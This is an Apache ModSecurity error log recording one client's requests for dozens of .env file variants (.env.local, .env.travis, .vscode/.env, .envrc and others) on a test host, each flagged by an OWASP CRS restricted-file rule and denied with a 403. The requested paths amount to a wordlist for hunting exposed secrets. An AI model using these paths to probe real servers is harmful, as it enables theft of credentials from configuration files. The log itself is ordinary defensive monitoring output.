[Mon Jul 28 20:45:55.744280 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-sample&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueEQAAAAk&quot;]
[Mon Jul 28 20:45:55.744480 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-sample&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueEQAAAAk&quot;]
[Mon Jul 28 20:45:55.766416 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.local&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueEgAAAAk&quot;]
[Mon Jul 28 20:45:55.766624 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.local&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueEgAAAAk&quot;]
[Mon Jul 28 20:45:55.766783 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.local&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueEgAAAAk&quot;]
[Mon Jul 28 20:45:55.788805 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.travis&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.travis&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueEwAAAAk&quot;]
[Mon Jul 28 20:45:55.789019 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.travis&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueEwAAAAk&quot;]
[Mon Jul 28 20:45:55.789201 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.travis&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueEwAAAAk&quot;]
[Mon Jul 28 20:45:55.811307 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.test.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test.sample&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueFAAAAAk&quot;]
[Mon Jul 28 20:45:55.811512 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test.sample&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueFAAAAAk&quot;]
[Mon Jul 28 20:45:55.811675 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test.sample&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueFAAAAAk&quot;]
[Mon Jul 28 20:45:55.833625 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.2&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.2&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueFQAAAAk&quot;]
[Mon Jul 28 20:45:55.833832 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.2&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueFQAAAAk&quot;]
[Mon Jul 28 20:45:55.834042 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.2&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueFQAAAAk&quot;]
[Mon Jul 28 20:45:55.856134 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.vscode/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueFgAAAAk&quot;]
[Mon Jul 28 20:45:55.856329 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueFgAAAAk&quot;]
[Mon Jul 28 20:45:55.856502 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueFgAAAAk&quot;]
[Mon Jul 28 20:45:55.878379 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueFwAAAAk&quot;]
[Mon Jul 28 20:45:55.878570 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueFwAAAAk&quot;]
[Mon Jul 28 20:45:55.878732 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueFwAAAAk&quot;]
[Mon Jul 28 20:45:55.900659 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.txt&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.txt&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueGAAAAAk&quot;]
[Mon Jul 28 20:45:55.900853 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.txt&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueGAAAAAk&quot;]
[Mon Jul 28 20:45:55.901007 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.txt&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueGAAAAAk&quot;]
[Mon Jul 28 20:45:55.924287 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueGQAAAAk&quot;]
[Mon Jul 28 20:45:55.924499 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueGQAAAAk&quot;]
[Mon Jul 28 20:45:55.924681 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueGQAAAAk&quot;]
[Mon Jul 28 20:45:55.992794 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.test.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test.local&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueHAAAAAk&quot;]
[Mon Jul 28 20:45:55.993022 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test.local&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueHAAAAAk&quot;]
[Mon Jul 28 20:45:55.993210 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test.local&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwueHAAAAAk&quot;]
[Mon Jul 28 20:45:56.038941 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.envrc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envrc&quot;] [unique_id &quot;aIfFZF4f-9g1kJksHwueHgAAAAk&quot;]
[Mon Jul 28 20:45:56.039166 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envrc&quot;] [unique_id &quot;aIfFZF4f-9g1kJksHwueHgAAAAk&quot;]
[Mon Jul 28 20:45:56.039377 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envrc&quot;] [unique_id &quot;aIfFZF4f-9g1kJksHwueHgAAAAk&quot;]
[Mon Jul 28 20:45:56.061377 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dist&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aIfFZF4f-9g1kJksHwueHwAAAAk&quot;]
